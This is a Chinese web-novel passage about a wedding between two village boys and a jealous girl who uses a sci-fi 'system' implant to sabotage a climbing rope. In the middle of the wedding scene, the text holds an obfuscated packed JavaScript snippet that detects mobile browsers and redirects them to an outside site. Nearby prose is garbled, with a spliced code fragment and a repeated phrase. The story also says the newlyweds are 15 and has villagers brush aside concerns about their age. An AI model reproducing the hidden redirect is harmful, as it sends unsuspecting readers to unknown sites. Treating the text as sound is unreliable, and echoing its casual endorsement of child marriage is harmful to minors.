礼成的瞬间，唢呐声和锣鼓声同时拔高，鞭炮噼里啪啦地响起来，红色的纸屑漫天飞舞，落在两人的发顶和肩头。几个年轻后生冲上来，嚷嚷着要闹洞房，兰榙忙笑着拦住：“先喝喜酒！喜酒管够！” 溪边的妇人端着刚酿好的桂花酒穿梭在人群里，酒香混着桂花香，飘得满寨都是。年长的老者捋着胡子，看着相拥的两人，笑得合不拢嘴：“好啊，好啊，有情人终成眷属！” 阳光彻底驱散了晨雾，金灿灿地洒在苗寨的青瓦白墙上，满街的红喜字被风吹得猎猎作响，每一声笑、每一声祝福，都裹着甜意，在风里久久回荡。 喜酒摆了整整一条街，木桌上摆满了苗寨的特色菜，酸汤鱼、腊肉拼盘、糯米粑粑，还有一坛坛醇香的桂花酒。 族人三三两两围坐在一起，划拳声、谈笑声、碰杯声混在一起，热闹得不像话。几个后生端着酒碗，轮番去敬沈司南和许祭，嘴里喊着俏皮话：“司南哥，许祭哥，可得喝了这碗酒，往后日子甜如蜜！” 沈司南酒量浅，没喝几碗就红了脸，许祭怕他醉着，伸手替他挡了不少，笑着对众人道：“他酒量不行，我替他喝，大家尽兴就好。” 这话惹得众人又是一阵哄笑，挑柴的汉子一拍大腿：“还是许祭心疼人！这才是过日子的样子！” 酒过三巡，日头渐渐偏西，几个年轻媳妇和姑娘们簇拥着两人往新房走，嘴里哼着苗寨的祝婚小调，调子轻快又喜庆。新房就设在沈司南的老宅里，窗纸上贴着红彤彤的喜字，桌上摆着红枣、花生、桂圆、莲子，寓意着早生贵子，床头还放着那面写着“祭南园”的木牌，被擦得锃亮。 刚进房门，外头就传来一阵喧闹，是同窗们和寨里的后生们闹着要进来，兰榙笑着拦在门口：“先别急，让孩子们歇歇！” 屋里，沈司南和许祭并肩站在窗前，看着窗外漫天的霞光，看着寨子里依旧热闹的景象，相视一笑。许祭伸手，轻轻抚上沈司南泛红的脸颊，声音温柔得能滴出水来：“往后，我们就一直这样，好不好？” 沈司南反手握住他的手，指尖相扣，眼底是化不开的柔情，他轻轻“嗯”了一声，声音不大，却字字清晰。 窗外的风，还在吹着桂花香，满寨的喜气，像是要漫进时光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037626|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，岁岁年年，都这般甜。 屋里的笑声正盛，窗外忽然飘进来一句极轻的话，是个守在门边的小姑娘，她捻着衣角，声音细得像蚊子哼：“谁记得他们才15岁啊。” 这话很轻，却像一颗小石子落进了满池春水，屋里的喧闹声霎时静了一瞬。 众人转头看向并肩站在窗前的两人，少年人的眉眼清澈，眼底的情意却浓得化不开。沈司南的脸颊还泛着酒后的红，握着许祭的手紧了紧；许祭侧过头，目光落在沈司南的发顶，嘴角的笑意温柔得不像话。 挑柴的汉子摸了摸下巴，忽然笑了，嗓门洪亮地打破了寂静：“15岁怎么了？情投意合，哪管年岁！我看啊，他们俩，往后一辈子都得这么甜！” 这话一出，屋里的笑声更盛了，连带着窗外的风，都裹着一股子少年意气的甜。 笑声落了又起，窗外的霞光渐渐染成了橘红色，把新房的窗棂描得暖融融的。 沈司南听见那句低语，耳根又热了几分，转头看向许祭时，撞进他含笑的眸子里。少年人的爱意直白又滚烫，不必说什么山盟海誓，指尖相扣的力度，就胜过了千言万语。 兰榙端着两碗甜汤进来，闻言笑着接话：“十五岁好啊，正是情窦初开的年纪，往后的日子还长着呢，慢慢过，慢慢甜。”她说着把甜汤递过去，碗里的桂花糖藕熬得软糯，甜香漫了一屋。 许祭接过碗，舀了一勺递到沈司南嘴边。沈司南没躲，张口含住，眉眼弯成了月牙。围在门口的后生们瞧见这一幕，又开始起哄，口哨声和笑声混在一起，惊得檐下的麻雀又扑棱棱飞远了些。 外头的喜酒还在继续，划拳声、唢呐声、孩子们的嬉闹声缠在一起。沈司南靠在许祭肩头，看着窗外飘飞的红纸屑，忽然觉得，这世间最好的光景，莫过于此刻——身边有心上人，屋外有满堂欢歌，往后岁岁年年，都这般安稳圆满。 起哄声里，不知哪个抱着竹篮的年轻媳妇忽然拔高了嗓门，带着点打趣的意味喊：“哎！我说你们俩才十五岁，这算不算早恋啊？” 这话一出，满屋子的人都跟着笑开了，连檐下的红灯笼都晃悠了两下。纳鞋底的阿婆放下手里的针线笸箩，拿起身边的拐棍轻轻敲了敲那媳妇的脚面，嘴角却弯着笑：“什么早恋不早恋的！咱们苗寨的孩子，心性来得早，两情相悦就是最好的，哪来那么多城里人的规矩！” 挑柴的汉子也跟着附和，举起酒碗咕咚喝了一口，酒渍沾在胡子上也不在意：“就是！我跟我婆娘十五岁在山上砍柴认识，十六岁就拜堂成亲，现在孙子都能打酱油了！日子过得甜着呢！” 旁边的后生们更是闹得凶，拍着木门框喊：“这叫青梅竹马，天生一对！哪是什么早恋！再说了，司南哥为了许祭哥守了一整年，这份心，比山都重！” 沈司南的脸唰地红透了，往许祭身边缩了缩，指尖无意识地抠着许祭的掌心。许祭笑着揉了揉他的头发，转头看向众人，眼里满是认真，声音清亮又坚定：“我们会好好的，一直好好的。往后寨子里的事，我们俩一起扛。” 这话惹得众人又是一阵叫好，窗外的霞光更暖了，把两人相偎的影子，清晰地印在了贴着红喜字的窗纸上。 夜色渐沉，酒桌上的残羹冷炙被收拾干净，满街的红灯笼还亮着，映得青石板路一片暖红。 挑柴的汉子喝得醉醺醺的，被婆娘揪着耳朵往家走，嘴里还含糊地喊着“明年再来喝他俩的喜酒”；纳鞋底的阿婆们互相搀扶着，边走边念叨“俩孩子真好，真好”；年轻的后生们也闹够了，勾肩搭背地往寨子深处去，笑声一路洒在风里。 兰榙最后检查了一遍新房，替两人掩好窗缝，笑着叮嘱：“累了一天，早点歇着。”说完便转身离开，脚步轻轻的，生怕扰了屋里的安宁。 喧闹了一整天的苗寨，终于慢慢静了下来，只有风穿过树梢的沙沙声，和偶尔传来的几声虫鸣，伴着满院的桂花香，温柔地笼罩着这座满是喜气的老宅。 窗棂被轻轻挠了两下，紧接着一道橘色的影子“嗖”地窜了进来，带起一阵细碎的风。 是寨子里那只总爱蹭吃蹭喝的小橘猫，不知什么时候跟在兰榙身后溜了进来。它圆滚滚的身子在地上打了个滚，抖落一身细碎的桂花，琥珀色的眼睛滴溜溜转，先是警惕地看了看屋里的两人，见没什么动静，便迈着小碎步蹭到桌边，对着碟子里剩下的糯米粑粑嗅了嗅。 沈司南被这突如其来的小家伙逗笑，弯腰想去摸它的头，小橘猫却机警地跳开，躲到了许祭的脚边，还用毛茸茸的脑袋蹭了蹭他的裤腿。许祭失笑，蹲下身轻轻挠了挠它的下巴，小橘猫舒服地眯起眼睛，发出呼噜呼噜的声响，倒像是成了这新房里第三个添喜的小家伙。 窗外的灯笼光晕柔和，小橘猫蜷在桌角发出轻浅的呼噜声。 沈司南指尖轻轻摩挲着许祭的手背，目光落在两人交叠的手上，声音低得像夜风拂过窗纸：“许祭，你会不会……一直陪着我？” 他的睫毛微微颤着，眼底藏着一丝不易察觉的忐忑，像去年守着空荡荡的祭南园时，怕桂花树长不活，怕等的人不回来。 许祭低头看他，伸手将他揽进怀里，下巴抵着他的发顶，声音温柔又笃定：“会。一直陪着你，守着你，守着咱们的祭南园，守着这座寨子。” 许祭揽着沈司南的肩，让他靠在自己怀里，指尖轻轻拂过他柔软的发顶。沈司南的头发不算长，却乌黑柔软，带着淡淡的桂花香气。 许祭拾起一缕发丝，指尖灵巧地穿梭，慢慢编出松松散散的麻花辫。小橘猫不知何时凑了过来，蹲在两人脚边，琥珀色的眼睛一眨不眨地盯着许祭的手，偶尔用鼻尖蹭蹭沈司南的裤腿。 沈司南的脸颊贴着许祭的胸口，听着他沉稳的心跳，鼻尖萦绕着熟悉的气息，不安的情绪渐渐消散。他微微仰头，声音里带着点慵懒的鼻音：“编得丑死了。” 许祭低头，在他额角印下一个轻吻，指尖轻轻拉紧辫尾，声音温柔得不像话：“不丑，是我编的，最好看。” 窗外的天光从墨色渐渐泛起鱼肚白，桌角的小橘猫不知何时蜷成一团，发出均匀的呼噜声。 沈司南靠在许祭肩头，指尖还缠着对方一缕发丝，两人从祭南园的桂花树聊到县城学堂的老槐树，从寨子里的酸汤鱼聊到未来要种满整个山坳的茶苗，絮絮叨叨，竟说了整整一夜。 晨光漫过窗棂时，兰榙端着热腾腾的早饭推门进来，瞧见两人眼底的青黑，又看了看叠得整整齐齐的喜被，忍不住笑着摇头：“你们俩啊，真是辜负了满寨人的期待，白让大家伙儿昨儿晚上瞎高兴了一场。” 沈司南的脸唰地红透，往许祭怀里缩了缩，许祭则笑着揉了揉他的头发，眼底的温柔快要溢出来：“来日方长，不急。” 晨光刚漫过窗棂，樊粉菱端着一碟刚蒸好的桂花糕掀帘进来，步子急了些，脚下没留神，鞋尖正踩在许祭垂在床边的鞋面上。 “哎呀！”她低呼一声，慌忙往后退了两步，手里的碟子晃了晃，糕屑簌簌掉了两颗。 许祭正低头替沈司南拆着辫子，闻声抬眼，视线落在鞋面上那个浅浅的鞋印上，眉头几不可察地蹙了一下，却还是温声道：“没事。” 沈司南转头看过来，目光掠过那只鞋，伸手拽了拽许祭的衣角，语气带了点不易察觉的护短：“鞋脏了，等会儿我给你擦。” 樊粉菱的脸瞬间红了，捏着碟子的手指紧了紧，嗫嚅着道：“对、对不起，我不是故意的，这桂花糕……你们尝尝？” 沈司南的脸色瞬间沉了下来，眼底的暖意尽数褪去，他猛地站起身，力道大得带起一阵风，连带着床边的被子都晃了晃。 “出去。”他的声音冷得像冰，没有一丝温度。 樊粉菱愣在原地，手里的桂花糕碟子微微发颤，嗫嚅着还想解释：“我真的不是……” “苗寨的规矩，踩别人的鞋，是示爱。”沈司南打断她的话，目光锐利地盯着她，语气里满是不容置疑的决绝，“我和许祭已经拜了堂，你心里清楚。” 许祭也跟着起身，轻轻拉了拉沈司南的手腕，想缓和气氛，却被沈司南反手攥紧。沈司南的视线始终落在樊粉菱身上，眉头拧成一个结：“拿着你的东西，出去，以后别再来了。” 樊粉菱的脸一阵红一阵白，难堪地攥紧了碟子，最终还是咬了咬唇，低着头，匆匆地转身跑出了房门，连门槛都差点绊倒。 房门被“砰”地一声关上，屋里瞬间安静下来，只剩下两人略显急促的呼吸声。小橘猫被这动静惊得跳起来，一溜烟躲到了床底。 樊粉菱跌跌撞撞跑出房门，胸口的起伏剧烈得像揣了只兔子，难堪和不甘在胸腔里翻涌成潮。她攥紧了藏在袖口的那枚泛着冷光的银色芯片，指尖因为用力而泛白——那是她花了三个月时间，从县城黑市淘来的绑定型智能系统，编号0320。 没人知道，她对许祭的心思，早就在他刚入寨、被其他孩子欺负时就生了根。只是沈司南总像一道墙，挡在她和许祭之间，如今更是凭着一场婚礼，彻底把许祭攥在了手里。 她躲进寨子后山的竹林，确认四周无人后，颤抖着将芯片贴在自己的手腕内侧。冰凉的触感传来，紧接着是一阵轻微的刺痛，腕间浮现出一行淡蓝色的荧光字符：【系统0320，待机状态，等待绑定目标】。 樊粉菱深吸一口气，眼底闪过一丝偏执的光，她对着空气低声开口，声音里带着孤注一掷的狠劲：“绑定目标，许祭。” 【滴——检测到目标信息，亲缘关系无，情感联结弱，绑定成功率30%，是否强制绑定？】 “强制绑定。”她咬着牙，一字一顿。 【警告：强制绑定会对目标造成轻微精神干扰，绑定者需承担反噬风险，是否继续？】 “继续。” 荧光字符骤然闪烁起来，像是在飞速运转。片刻后，一行新的字符亮起，带着机械的冰冷：【系统0320，强制绑定目标许祭成功。当前权限：读取目标基础情感波动，后续权限需完成任务解锁。】 樊粉菱看着腕间渐渐隐去的蓝光，嘴角勾起一抹扭曲的笑。她抬手抚过腕间的皮肤，像是触摸着遥不可及的许祭，低声呢喃：“许祭，你是我的。谁也抢不走。” 竹林的风穿过叶隙，发出沙沙的声响，像是在为这场不为人知的、带着恶意的绑定，奏响无声的序曲。 40. 欢声笑语（上） 她缓缓站起身，拍了拍裙摆上沾着的竹叶与泥土，指尖在腕间那片皮肤上轻轻摩挲。系统的余温顺着皮肤渗进血脉，带来一阵奇异的麻痒，像是有无数细小的虫子在往骨头里钻。她知道，这是系统在与她的神经接驳，是她能握住这盘棋的唯一筹码。 竹林外传来隐约的笑语声，是许祭和沈司南。樊粉菱的脚步顿住，侧耳听着，那笑声像一根细针，一下下扎在她的心上。 凭什么？ 她咬着牙，指甲深深掐进掌心，渗出血丝来。腕间的系统突然震动了一下，一行淡蓝色的字浮现在皮肤表层：【检测到目标人物气息，距离三百米，权限解锁进度15%。】 樊粉菱的眼睛亮了亮，那点亮光是淬了毒的，带着疯狂的执念。她转身，朝着竹林外的方向走去，脚步放得极轻，像一头蓄势待发的豹子。 三百米，不远。 她知道沈司南最近在帮许祭找一味药，是寨后山崖上的岩耳，据说能治许祭总犯的心悸。明日沈司南便要去崖上采，而许祭，定会跟着去。 崖壁湿滑，常年有云雾缭绕，稍不注意便会摔得粉身碎骨。 樊粉菱的唇角弯得更厉害，眼底的笑意却冷得像冰。她抬手，指尖在腕间轻轻一点，系统的蓝光闪了闪，又一行字跳出来：【权限暂未完全解锁，是否启动初级干扰程序？】 “启动。”她轻声说，声音里带着一丝不易察觉的颤抖。 风突然大了起来，竹叶被吹得哗哗作响，卷起地上的落叶，打着旋儿往天上飞。樊粉菱看着那片翻飞的落叶，像是看到了崖边的绳索断裂的模样。 她轻轻哼起了小时候的歌谣，是寨子里老人教的，唱的是山间的风月，调子却被她唱得又轻又怨。 “许祭，”她对着空气轻声说，“往后，你只能是我的。” 她的身影渐渐消失在竹林深处，只留下一阵若有若无的歌声，和腕间那片淡去的荧光。而竹林外的笑语声，还在继续，温柔得像一场不会醒的梦。 次日天刚蒙蒙亮，雾霭就把后山崖裹得严严实实。沈司南背着麻绳药篓走在前头，许祭攥着柄短砍刀跟在身后，靴底碾过沾露的青苔，发出细碎的声响。 “雾大，你跟紧些。”沈司南回头叮嘱，声音被雾气浸得发潮。许祭嗯了一声，目光落在他后背被晨露洇湿的衣衫上，指尖不自觉地蜷了蜷。 崖壁就在眼前，湿滑的石面上攀着些不知名的藤蔓。沈司南把麻绳一端牢牢系在崖顶的老松树上，拽了拽确认牢固，才转头对许祭道：“你在上面等着，我下去采。” “一起。”许祭言简意赅，抢过他手里的麻绳往腰上缠，“你眼神没我好，岩耳长在石缝里，我看得清楚。” 沈司南还想劝，许祭已经抓着绳索往下滑了一截，雾汽扑在他脸上，鬓角的碎发沾着水珠。沈司南没法，只能紧随其后。 两人一前一后往下挪，雾气浓得化不开，只能听见彼此的呼吸声。就在许祭的指尖快要触到那簇暗绿色的岩耳时，崖顶灌木丛里，樊粉菱死死盯着腕间跳动的蓝光，指尖狠狠按下了执行键。 【初级干扰程序启动——目标：绳索固定点】 细微的咔嚓声，被风吹得几不可闻。 沈司南最先察觉不对，他拽了拽绳索，只觉手里一松。还没来得及喊出声，绳索固定点的松树枯枝就应声断裂。许祭只觉腰间一轻，身体骤然往下坠，他下意识地伸手，死死攥住了旁边一截凸起的石棱，掌心被磨得火辣辣地疼。 沈司南的惊呼被吞进浓雾里，他下坠的力道带着绳索狠狠扯了许祭一把。许祭闷哼一声，石棱上的碎石簌簌往下掉。 “松手！”沈司南的声音带着慌，“许祭你松手！” 许祭没松，他咬着牙，另一只手摸索着去抓沈司南的手腕。指尖相触的瞬间，沈司南只觉一股力道传来，许祭竟硬生生把他往上拽了半尺。 “别傻了！”沈司南眼眶发红，“这石棱撑不住两个人！” 许祭没说话，他的脸憋得通红，额角青筋暴起。雾气里，他的眼神亮得惊人，像淬了寒的星子。 崖顶的樊粉菱看得真切，她攥着系统的手指泛白，眼底翻涌着快意和不甘。她要的就是这样，要沈司南拖累许祭，要许祭看清，沈司南根本护不住他。 就在这时，许祭的砍刀突然从腰间滑落，刀尖堪堪卡在石缝里。他借着这股力道，猛地往上一送，将沈司南推到了一块稍宽的石台上。 而他自己，抓着石棱的手已经开始打滑，身体随着碎石往下晃，雾气翻涌着漫过他的眉眼，只留下一声压抑的闷响，消散在茫茫山雾里。 沈司南趴在石台上，心脏像是被一只无形的手攥住，连呼吸都带着钝痛。他朝着浓雾深处嘶吼：“许祭！许祭——” 回应他的只有风卷雾气的呜咽声。 他顾不上掌心被石台磨出的血痕，手脚并用地往崖边挪，视线死死盯着许祭坠落的方向。雾太浓了，浓得像化不开的墨，只能隐约看见下方深不见底的幽暗。 “许祭，你撑住！” 沈司南咬着牙，将腰间剩下的半截麻绳解下来，一头系在自己腰上，另一头死死缠在石台的石笋上。他拽了拽麻绳，确认绑得牢固，便抓着绳索，一点点往崖下探。 崖壁湿滑，碎石不断往下滚落，砸在他的手背上，生疼。他的眼睛瞪得通红，视线在浓雾里急切地扫过，生怕错过一丝一毫的踪迹。 不知往下滑了多久，他的指尖突然触到一片温热的布料。 沈司南的心猛地一跳，顺着布料摸索过去，果然摸到了许祭的手臂。他几乎是哽咽着喊出声：“许祭！” 许祭靠在一处凹进去的石缝里，脸色苍白得吓人，额角磕破了，血混着雾气凝成的水珠往下淌。他的手里还死死攥着那簇暗绿色的岩耳，指尖因为用力，指节泛着青白。 “我……我没事。”许祭的声音很轻，带着气音，“别过来，这石缝……不稳。” 沈司南哪里肯听，他咬着牙，一点点挪过去，小心翼翼地将许祭护在怀里。就在他伸手去解自己腰间的麻绳，想将许祭绑紧时，目光却无意间扫到了石缝上方的一块岩壁上。 那里有一片被蹭掉的苔藓，苔藓下，赫然留着一个浅浅的脚印。 脚印很小，明显是女子的鞋型。 沈司南的瞳孔骤然收缩。 这后山崖地势险峻，平日里除了采药人，根本没人会来。更何况是在这样大雾弥漫的清晨。 他猛地抬头，朝着崖顶的方向望去。 浓雾深处，一道纤细的身影正悄然退去。樊粉菱攥着腕间的系统，看着屏幕上渐渐黯淡的红点，眼底闪过一丝狠戾。她没想到许祭命这么硬，竟然没摔下去。 不过没关系。 她的指尖在系统屏幕上轻轻划过，唇角勾起一抹冰冷的笑意。 初级干扰程序不过是个开始。 沈司南，许祭，你们的游戏，才刚刚开场。 沈司南费了九牛二虎之力，才将浑身发软的许祭背回寨子。刚到院门口，就撞见闻声赶来的寨老，见两人一身狼狈，额头还淌着血，当即皱紧眉头喊来草药婆。 草药婆给许祭处理额角伤口时，许祭疼得闷哼两声，却还攥着那包岩耳不肯撒手，哑着嗓子叮嘱：“这药……你收好了，别弄丢。” 沈司南的心像是被热水烫过，又酸又胀，他按住许祭的手，沉声道：“我知道，你先歇着。” 等草药婆走后，沈司南守在床边，看着许祭昏睡过去的苍白脸庞，指尖不自觉地摩挲着袖袋里的东西——那是他从崖壁石缝旁捡到的一枚银钗，钗头雕着朵小小的菱角花，做工不算精致，却是寨子里姑娘家喜欢的样式。 家喜欢的样式。 他想起那枚浅窄的脚印，想起雾霭里一闪而过的纤细身影，眸色一点点沉下去。 夜里，许祭睡得不安稳，翻来覆去地咳嗽。沈司南给他掖好被角，转身轻手轻脚地出了门。月色溶溶，洒在青石板路上，他循着记忆里的方向，往樊粉菱家的竹楼走去。 樊粉菱家的院门虚掩着，里面亮着昏黄的油灯。沈司南贴着竹墙站定，听见里面传来细碎的声响，像是有人在擦拭什么东西。 他屏住呼吸，轻轻推开一条门缝。 昏黄的灯光下，樊粉菱正坐在桌前，指尖捻着块手帕，反复擦拭着腕间的皮肤。那片皮肤泛红，隐约能看见一道淡蓝色的纹路，像是某种印记。她的嘴角噙着一抹笑，眼神却冷得像冰，嘴里还低声念叨着：“差一点……就差一点……” 沈司南的拳头猛地攥紧，指节泛白。 他正想推门进去，身后突然传来一声轻响。沈司南警觉回头，看见樊粉菱的阿娘端着一盆洗衣水从河边回来，看见他，愣了愣：“司南？这么晚了，你站在这儿做什么？” 屋里的声响骤然停了。 沈司南迅速敛去眼底的寒意，扯出一抹淡笑：“婶子，我来找粉菱问点事，关于……后山崖的。” 话音刚落，竹楼的门吱呀一声开了。樊粉菱站在门口，脸上挂着恰到好处的诧异，手里还端着一碗刚热好的姜汤：“司南哥？这么晚了，你怎么来了？快进来喝碗姜汤暖暖身子，你和许祭今天不是去后山崖采药了吗？听说你们遇到了意外，没大碍吧？” 她的目光扫过沈司南的脸，带着一丝不易察觉的试探。 沈司南看着她手里的那碗姜汤，又看了看她腕间那片被手帕遮住的皮肤，喉结滚了滚，缓缓开口：“没大碍，就是……我在崖下捡到了一样东西，想问问是不是你的。” 他从袖袋里拿出那枚菱角花银钗，递到樊粉菱面前。 樊粉菱看见那枚银钗的瞬间，脸色微微一白，随即又恢复如常，伸手接过银钗，故作惋惜地叹了口气：“哎呀，这真是我的！前几天去后山采蘑菇的时候弄丢的，没想到被你捡到了，谢谢你啊司南哥。” 沈司南盯着她的眼睛，一字一句道：“不客气，只是……后山崖那么险，你去那里采蘑菇做什么？” 樊粉菱的眼神闪烁了一下。 院子里的风突然大了起来，吹得油灯的火苗晃了晃，将两人的影子拉得老长，空气中弥漫着一股说不清道不明的紧张气息。 樊粉菱捏着银钗的指尖微微收紧，指节泛白，却还是强装镇定地笑了笑：“寨子里的菌子都被采光了，我想着后山崖下说不定有野菌，就冒险去了一趟，谁知道刚到崖边就被雾气吓回来了，钗子想来就是那时候掉的。” 这话听着天衣无缝，沈司南却半点不信。 他往前一步，目光锐利如刀，直直逼视着樊粉菱：“雾天的后山崖，连常年采药的老手都不敢轻易踏足，你一个姑娘家，真敢往崖边凑？” 樊粉菱的脸色白了几分，眼底飞快地掠过一丝慌乱，却梗着脖子道：“司南哥这话是什么意思？难不成你还怀疑我？” “我没怀疑你。”沈司南的声音沉得像浸了冰，“我只是好奇，今天清晨，除了我和许祭，还有谁在崖顶。” 这话一出，樊粉菱的呼吸猛地一滞。 她攥着银钗的手猛地松开，银钗“当啷”一声掉在青石板上，清脆的声响在寂静的夜里格外刺耳。她抬眼看向沈司南，眼底的伪装终于裂开一道缝，露出里面翻涌的不甘和怨毒：“是又怎么样？” “许祭本来就该是我的！”她的声音陡然拔高，带着歇斯底里的疯狂，“是我先遇见他的，是我先对他好的！凭什么你要横插一脚？凭什么他看你的时候，眼里要有光？” 沈司南的瞳孔骤然收缩。 他没想到樊粉菱会这么直白地承认，更没想到她的执念竟深到这个地步。 “你知不知道，你那一下，差点害死许祭！”沈司南的声音里带着压抑的怒火，拳头攥得咯咯作响。 “害死他？”樊粉菱笑了，笑得眼泪都快出来了，“我只是想让他看清楚，你根本护不住他！我只是想把他抢回来而已！” 就在这时，院门外突然传来一声轻响。 两人同时回头，只见许祭扶着门框站在那里，脸色依旧苍白，额角的纱布渗着淡淡的血丝，眼神却平静得可怕。 他不知道站在那里多久了，也不知道听去了多少。 沈司南的心猛地一沉，快步上前想去扶他：“许祭，你怎么醒了？伤口又疼了是不是？” 许祭却轻轻推开了他的手，目光越过他，落在樊粉菱身上，声音很轻，却带着一股彻骨的寒意：“是你，动了绳索？” 樊粉菱看着他，眼底的疯狂渐渐褪去，取而代之的是一种近乎绝望的执拗，她喃喃道：“许祭，我只是……” “够了。”许祭打断她的话，声音不大，却带着不容置疑的决绝，“从始至终，我和你之间，都没有过‘本来就该’。” 月光透过院墙上的竹隙，落在三人身上，拉出三道长长的影子，空气中的沉默，压抑得让人喘不过气。 消息像长了翅膀，天一亮就传遍了整个寨子。 寨老坐在祠堂的主位上，眉头拧成了疙瘩，手里的烟杆敲得桌面笃笃响。祠堂里站满了人，沈司南扶着许祭站在一侧，许祭额角的纱布还透着红，脸色依旧苍白，却挺直了脊背。 樊粉菱被两个后生押着站在中间，她头发散乱，衣衫不整，往日里的娇俏全然不见，唯有那双眼睛，依旧亮得吓人，死死盯着许祭的方向。 “樊粉菱，”寨老的声音苍老而威严，“后山崖的事，你要给全寨人一个交代。” 樊粉菱扯了扯嘴角，露出一抹冷笑：“交代？我没什么好交代的。我不过是想拿回属于我的东西而已。” “属于你的东西？”沈司南厉声质问，“许祭不是东西！他是活生生的人！” “人又怎么样？”樊粉菱猛地抬头，眼底闪过一丝诡异的蓝光，“我有系统！我能让他心甘情愿地留在我身边！” 这话一出，祠堂里顿时炸开了锅。 寨子里的人大多淳朴，哪里听过什么“系统”，只当她是疯了，议论声嗡嗡地响起来。 樊粉菱像是被这议论声刺激到了，猛地挣开后生的手，抬起手腕。那片泛红的皮肤此刻正闪烁着淡蓝色的光芒，一行行细小的字在上面游走，看得人眼花缭乱。 “看见没？这是我的筹码！”她的声音带着癫狂的得意，“它能帮我解锁权限，能帮我清除所有碍眼的人！沈司南，你以为你能护着许祭一辈子？做梦！” 许祭看着她腕间的蓝光，眼神沉了沉。他想起崖边那声细微的咔嚓声，想起石缝旁的脚印，想起坠落时那股莫名的力道，心脏像是被什么东西攥紧了。 “你用这东西，动了绳索？”许祭的声音很轻，却带着一股穿透力，压过了祠堂里的议论声。 樊粉菱看着他，眼神里闪过一丝痴迷，随即又变得狠戾：“是又如何？只要你离开沈司南，我可以……” “不必了。”许祭打断她的话，声音平静得可怕，“我和你，从来都没有过任何可能。” 这句话像是一把尖刀，狠狠扎进了樊粉菱的心脏。她的脸色瞬间变得惨白，腕间的蓝光也跟着闪烁了几下，像是在不安地躁动。 “不可能……”她喃喃自语，“你明明应该是我的……系统不会骗我……” 她猛地抬手，指尖朝着许祭的方向虚点了一下，嘴里念念有词：“权限解锁……干扰程序……启动……” 然而，腕间的蓝光只是闪烁了几下，便彻底黯淡下去，再也没有亮起。 【警告：权限解锁进度不足30%，干扰程序无法启动。】 【警告：系统接驳失败……】 冰冷的提示音，只有樊粉菱一个人能听见。 她的瞳孔骤然收缩，不敢置信地看着自己的手腕，一遍又一遍地尝试：“启动！给我启动！” 可那片皮肤，终究是恢复了原样，再也没有一丝蓝光。 祠堂里一片死寂，所有人都看着状若疯癫的樊粉菱，眼神里带着惊惧和怜悯。 寨老重重地叹了口气，将烟杆在鞋底磕了磕：“樊家丫头，你……” 话还没说完，樊粉菱突然发出一声凄厉的尖叫，转身就朝着祠堂外冲去。 两个后生反应过来，急忙追了上去。 沈司南扶住身形晃了晃的许祭，低声道：“没事了。” 许祭轻轻摇了摇头，目光望向祠堂外的方向，眼底闪过一丝复杂的情绪。 他知道，这一切，还没有结束。 樊粉菱拼了命地往山林深处跑，树枝划破了她的衣衫，刮得皮肤火辣辣地疼，她却像是感觉不到一样，脑子里只有那句冰冷的提示音在反复回响。 直到她一头撞进一处荒废的山神庙，才踉跄着停下脚步。她瘫坐在冰冷的泥地上，死死盯着自己的手腕，眼泪不受控制地往下掉。 “为什么……为什么会失败？”她哽咽着，指尖狠狠抠着那片恢复了原样的皮肤，“你不是说，能帮我得到许祭吗？” 就在这时，腕间的皮肤突然一阵发烫。 淡蓝色的光芒毫无征兆地亮起，比之前任何一次都要刺眼。一行行新的字迹在上面飞速闪过，最后定格成几行冰冷的字： 【紧急修复程序启动，权限解锁进度提升至45%】 【新指令触发：获取目标人物许祭的信任，取...... 祠堂外的风还在呼啸，许祭扶着沈司南的胳膊刚走出门槛，胸口突然一阵剧烈的闷痛。 那痛感来得又急又猛，像是有无数根细针在往脏腑里钻，他闷哼一声，猛地弯下腰，喉头一阵腥甜翻涌，一口鲜血毫无预兆地喷溅在青石板上，红得刺目。 “许祭！”沈司南的脸色瞬间煞白，一把将人揽进怀里，声音都在发颤，“你怎么样？哪里疼？” 许祭靠在他肩头，眼前阵阵发黑，四肢百骸里像是有股诡异的力道在乱窜，经脉突突地跳着疼。他忽然想起樊粉菱腕间那抹蓝光，想起崖边绳索断裂时那股莫名的拉扯感，心头猛地一沉——是系统的反噬。 寨老和族人围过来，一个个脸色凝重。草药婆慌忙上前把脉，指尖刚搭上许祭的腕脉，就皱紧了眉头：“这脉象乱得像团麻，不是寻常磕碰能引发的，是被邪异的力道侵了体，得先稳住心脉才行。” 沈司南二话不说，打横抱起许祭往屋里赶，脚步快得带起一阵风。他将人轻轻放在床上，又转身冲进药篓翻找药材，指尖都在发颤。 当归、丹参、老陈皮，凡是能护心脉的草药，他全一股脑倒进陶罐，架起小火炉，添柴生火。火苗噼啪作响，药香渐渐弥漫开来。 沈司南守在炉边，时不时掀开盖子搅动，目光却一瞬不瞬地黏在许祭身上。看着他苍白的脸色，看着他眉心紧蹙的模样，沈司南的心脏像是被一只手攥住，疼得厉害。 他想起多年前许祭护着他的模样，想起这些年两人相依相伴的时光，眼底漫上一层红。 无论那是什么东西，他都不会让它伤了许祭分毫。 药熬得浓稠发黑时，许祭恰好悠悠转醒。沈司南立刻舀起一勺，吹凉了递到他唇边，声音放得极柔：“来，喝口药，能好受些。” 许祭看着他泛红的眼眶，看着陶罐里翻滚的药汁，轻轻点了点头，张口将药咽了下去。 夜深得不见一丝星光，寨后山的祭祀台积着薄薄一层霜，青石板上刻着的古老纹路，在月光下泛着冷冽的光。 沈司南抱着昏睡的许祭一步步踏上台阶，许祭的呼吸轻浅，唇角还凝着未干的血痕，那抹红像烧在沈司南心上的火，灼得他指尖发颤。 祭祀阵是寨子里祖辈传下来的法子，以血亲之血引阵，以诚心为祭，能换至亲之人一线生机。只是这阵霸道，施术者要折损三年阳寿，还要承受阵法反噬的锥心之痛。 沈司南将许祭轻轻放在阵眼的石台上，又脱下自己的外衣盖在他身上，生怕夜里的寒气侵了他的身子。他俯身，指尖轻轻拂过许祭苍白的脸颊，声音轻得像叹息：“别怕，我在。” 